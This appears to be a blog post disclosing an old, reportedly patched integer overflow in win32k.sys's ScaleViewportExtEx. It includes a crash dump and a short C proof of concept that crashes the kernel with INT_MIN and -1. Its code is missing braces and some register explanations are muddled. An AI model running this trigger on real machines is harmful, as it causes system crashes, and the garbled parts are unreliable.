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Microsoft Windows Kernel - Win32k.sys Integer Overflow

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18 Sep 2018


Few years back I found an integer overflow in kernel (win32k.sys), should be around 2013. It was inspiration to Taviso’s blog (he was targeting different API, AFAIK, this bug has been fixed few months after I discovered it. The vulnerability could be reported by someone before me.

Vulnerability Analysis

The bug actually was part of Coordinate Spaces & Transformations API. Example used of coordinate spaces & transformations,

  - Scale
  - Rotate
  - Translate
  - Shear
  - Reflect Graphics output

This is like we can see daily if used computer. Coordinate Spaces act as planar space that locates 2-dimensional objects, example: client area, desktop, page of printer paper. While Transformations is a algorithm alters size, orientation and shape of objects, example: Screen, printer. In Taviso blog, he found that the API ScaleWindowExtEx was vulnerable to integer overflow.

I found the similar issue on the API ScaleViewportExtEx. The ScaleViewportExtEx function modifies the viewport for a device context using the ratios formed by the specified multiplicands and divisors. The syntax as in:

BOOL ScaleViewportExtEx(
  HDC    hdc,
  int    xn,
  int    dx,
  int    yn,
  int    yd,
  LPSIZE lpsz

It appears that there is no further checking after dividing the value. It does not recognize the pattern of Positive or Negative numbers. Signed divide EDX:EAX by [ebp+Xdenom], with result stored as:

EAX = High-Level Address, EDX = Integer Overflow

A little trivia about integer overflow,

  - Sign of the remainder is always the same as the sign of the dividend.
  - The absolute value of the remainder is always less than the absolute value of the divisor. 
  - Overflow is indicated with the #DE (divide error) exception rather than with the OF (overflow) flag.

Crash triage upon run our executable

ErrCode = 00000000
eax=80000000 ebx=00000001 ecx=00340910 edx=ffffffff esi=e13ce008 edi=00000000
eip=bf941b8d esp=f671cd10 ebp=f671cd44 iopl=0         ov up ei ng nz na pe cy
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00010286
bf941b8d f77d10          idiv    eax,dword ptr [ebp+10h] ss:0010:f671cd54=ffffffff

Crafted Proof-of-Concept as in following:

#include <windows.h>
#include <stdio.h>

int main(int argc, char **argv)
	HDC		dev_context;
	SIZE	Size;
	dev_context = CreateCompatibleDC(NULL);
	SetLayout(dev_context, LAYOUT_RTL);
	ScaleViewportExtEx(dev_context, INT_MIN, -1, -1, -1, &Size);
	return 0;

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